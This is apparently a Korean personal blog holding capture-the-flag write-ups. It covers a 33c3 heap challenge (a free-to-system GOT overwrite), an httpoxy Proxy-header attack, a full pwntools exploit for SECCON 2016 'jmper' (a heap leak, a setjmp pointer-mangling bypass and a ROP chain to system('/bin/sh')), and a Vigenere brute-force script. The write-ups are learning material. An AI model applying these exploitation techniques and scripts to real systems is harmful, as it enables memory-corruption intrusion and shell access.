전형적인 add delete 등의 옵션이 있는 heap 문제이다


여기에는

 v3 + *(_DWORD *)*(&ptr + index) >= (unsigned int)((char *)*(&ptr + index) - 4) 

같이 생긴

이상한 바운더리 체크가 있는데 일단 한번 들여다 보자


구조체를 분석하면 다음과 같다


-------------------------------

ptr   ->1     v(malloc(80))   ->     a(desc size)   -> desc


name(124)


-> 2    v(malloc(80)    ->     a(desc size) -> desc


name(124)



------------------------------


desc size를 처음에 한번

입력할때 한번 받게 되는데

desc size boundary check를 


 if ( v3 + *(_DWORD *)*(&ptr + index) >= (unsigned int)((char *)*(&ptr + index) - 4) )

 {

   puts("my l33t defenses cannot be fooled, cya!");

   exit(1);

 }

 printf("text: ");

 fgets_80486BB(*(char **)*(&ptr + index), v3 + 1);// input text


이런식으로 하게 되는 것이다


이는 v의 포인터가 a의 포인터보다 높은 주소에 있기만 하면 통과 될 수 있다.

이 조건문만 통과되면 처음에 설정했단 desc size보다 더 많은 값을 desc에 fgets로 쓸 수 있게 된느 것이다. 

즉 1을 free한 다음

1이 free된자리에 새로운 malloc으로 desc를 써주면 2번정보를 덮어 쓸 수 있다

2를 free_got로 덮어써서 free의 libc주소를 릭한후

system 주소를 계산해서 update를 이용 free를 system으로 got overwrite한다

desc와 user 가 모두 /bin/sh인 새로운 청크를 만들어

free를 하면 쉘이 실행된다.




'CTF' 카테고리의 다른 글

[christmas ctf]house of daehee  (0) 2017.01.17
[9447-ctf-2015] search 230pt  (0) 2017.01.08
[SECCON 2016] pppppoxy  (0) 2016.12.29
[SECCON2016]jmper writeup 300p  (0) 2016.12.13
[SECCON2016]vigenere암호 100p  (0) 2016.12.12

https://httpoxy.org/


httpoxy 취약점을 이용하는 문제였다

HTTP_PROXY

라는 환경변수는 프록시 설정에 사용되는 변수이다.

이변수는 원격으로 공격가능할 수 있고, 


Proxy 헤더를 이용해서 공격가능하다.


Proxy: http://127.0.0.1:8080

라는 환경변수를 추가해주면

127.0.0.1:8080에 프록시가 생성

8080포트를 들으면 정보를 얻을 수 있다.


hash : {abdkfjlaskdjfkljflkd}

라는 변수를 받는데

이 해쉬는 기존의 비밀번호의 hash이고 내가 입력한 비밀번호의 hash와 비교한다

hash를 내가 입력한 비밀번호의 md5로 바꾸어 주면 끝

'CTF' 카테고리의 다른 글

[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON2016]jmper writeup 300p  (0) 2016.12.13
[SECCON2016]vigenere암호 100p  (0) 2016.12.12
Seccon 2016 깃허브 링크+포너블바이너리몇개  (0) 2016.12.11
from pwn import *

#r=remote('localhost',1111)
r=remote('jmper.pwn.seccon.jp',5656)
raw_input()
def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
     
 
def ROR(data, shift, size=64):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)

print r.recvuntil(':)')

add='1'
wmemo='3'
wname='2'
showname="4"

##add 2

r.sendline(add)
r.sendline(add)

## name0 memo0
printf_got=0x601fa8
name0="A"*33
memo0="m"*33		#"m"*24+p64(puts_got)+'\x00'
r.sendline(wname)
r.sendline('0')
r.sendline(name0)
r.sendline(wmemo)
r.sendline('0')
r.sendline(memo0)

jmpbuf=0x602038
r.sendline(wname)
r.sendline('1')
r.sendline(p64(printf_got)*4+"B")
r.sendline(wmemo)
r.sendline('1')
r.sendline(p64(printf_got)*4+"C")

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(printf_got)*3+"B"*6)

r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(6)
leak+="\x00\x00"
leak=u64(leak)
system=leak-56752
#system=leak-64768
print "printf addr : ",hex(leak)
print "system addr : ",hex(leak-56752)

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpbuf)*3+"B"*6)

r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(4)
leak+="\x00\x00\x00\x00"
jmpleak=u64(leak)
print "jmp_buf addr : ",hex(jmpleak)

longjump_plt=0x400700
longjump_got=0x601fe0

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpleak+0x38)*3+"B"*6)
r.recv()
r.sendline(showname)
time.sleep(1)
print r.recv()
r.sendline('1')
leak=r.recv(8)
heapleak=u64(leak)
print "heapleak : ",hex(heapleak)
a=ROL(heapleak,47,64)
a=a^0x400c31
print hex(a)

a=a^(u64(p64(0x602300+8)))

a=ROR(a,47,64)


r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(jmpleak)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
r.sendline(p64(system)+p64(a))

r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(0x602300+0x10)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
ppr=0x0000000000400cc1
pr=0x400cc3 	#pop rdi
r.sendline(p64(pr)+p64(0x602350)+p64(system)+"B"*8)

ppppr=0x0000000000400cbc


r.sendline(wname)
r.sendline('0')
r.sendline("BBB"+p64(0x602350)*3+"B"*6)
r.sendline(wname)
r.sendline('1')
r.sendline('/bin/sh\x00')


for i in range(29):
	r.sendline(add)

r.interactive()



64bit인거 깜빡하고 왜 쉘안뜨지? 한참 뻘짓했던 문제..

GOT overwrite하려했는데 GOT에 w권한이 없더라

아이다로 까보니까 got주소 찾아가는 내가 알던 방식이랑 좀 달랐음 동적으로 찾더라


짧게 설명하자면

setjmp longjmp

라는 함수가 있는데 setjmp에서 jmppoint인가 구조체이름이 기억이 안나는데

아무튼 그 구조체에 레지스터 정보를 저장한다.


fg:30이엿나 아무튼 계속 바뀌는 값이랑 xor하고 ROR해서 저장하는데

저장되는 레지스터중 rip값은 PIE가 없어서 항상 일정하기 때문에 그걸로 랜덤XOR 값을 찾아서 그 값으로 구조체에 RBP를 계산해서 원하는 값을 넣어줄수 있음


힙영역 조작은 입력크기를 32가 아닌 33으로 한바이트 더 쓸 수 있어서 구조체의 name성분의 주소를 덮어쓸수 있다.

그걸로 임의의 영역을 조작가능함


취약점은 비교적 쉽게 찾았으나 exploit에서 비트 연산도 처음해보고 해서 exploit을 짜는데 시간이 오래걸렸다

공부가 더 필요할 것 같다고 느꼈다 

좀더 빠르고 매끄럽게 문제를 풀수 있도록해야겠다.


'CTF' 카테고리의 다른 글

[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON 2016] pppppoxy  (0) 2016.12.29
[SECCON2016]vigenere암호 100p  (0) 2016.12.12
Seccon 2016 깃허브 링크+포너블바이너리몇개  (0) 2016.12.11


import hashlib

str="ABCDEFGHIJKLMNOPQRSTUVWXYZ[]"
c="LMIG]RPEDOEEWKJIQIWKJWMNDTSR]TFVUFWYOCBAJBQ"
arr=[[0 for col in range(28)] for row in range(28)]
for i in range(len(str)):
	for j in range(len(str)):
		arr[i][j]=str[(i+j)%28] 

#key="VIGENERE"+"AAAAA"
#p="SECCON["+"ABCD"+"]"
print(c)
hash="f528a6ab914c1ecf856a1d93103948fe"
def brutef(key,c):
        pp=""
        for i in range(len(c)):
                if(i==6):
                        pp+='{'
                        continue
                if(i==42):
                        pp+='}'
                        continue
                for j in range(28):
                        rr=ord(key[i%12])-0x41
                        if(rr==28):
                                rr=27
                        if(arr[rr][j]==c[i]):
                                break
                if(j==27):
                        j=j+1
                pp+=chr(0x41+j)
        h=hashlib.md5(pp.encode()).hexdigest()
        if(h[0]=='f'and h[1]=='5'and h[2]=='2' and h[3]=='8'):
                print(h)
                print(pp)
        if(hash==hashlib.md5(pp.encode()).hexdigest()):
                print(pp)

c="LMIG]RPEDOEEWKJIQIWKJWMNDTSR]TFVUFWYOCBAJBQ"
arr2="ABCDEFGHIJKLMNOPQRSTUVWXYZ[]"
print(arr2)
for i in arr2:
        print(i)
        for j in arr2:
                for k in arr2:
                        for l in arr2:
                                key="VIGENERE"
                                key+=i
                                key+=j
                                key+=k
                                key+=l
                                brutef(key,c)

print("end")



'CTF' 카테고리의 다른 글

[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON 2016] pppppoxy  (0) 2016.12.29
[SECCON2016]jmper writeup 300p  (0) 2016.12.13
Seccon 2016 깃허브 링크+포너블바이너리몇개  (0) 2016.12.11

checker

cheer_msg

jmper

logger

mboard.zip

Missile

shopping

tinypad

voip.pcap

https://github.com/ctfs/write-ups-2016/issues?page=2&q=is%3Aissue+is%3Aopen&utf8=%E2%9C%93


남은거 시험끝나고 풀어야지

'CTF' 카테고리의 다른 글

[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON 2016] pppppoxy  (0) 2016.12.29
[SECCON2016]jmper writeup 300p  (0) 2016.12.13
[SECCON2016]vigenere암호 100p  (0) 2016.12.12

+ Recent posts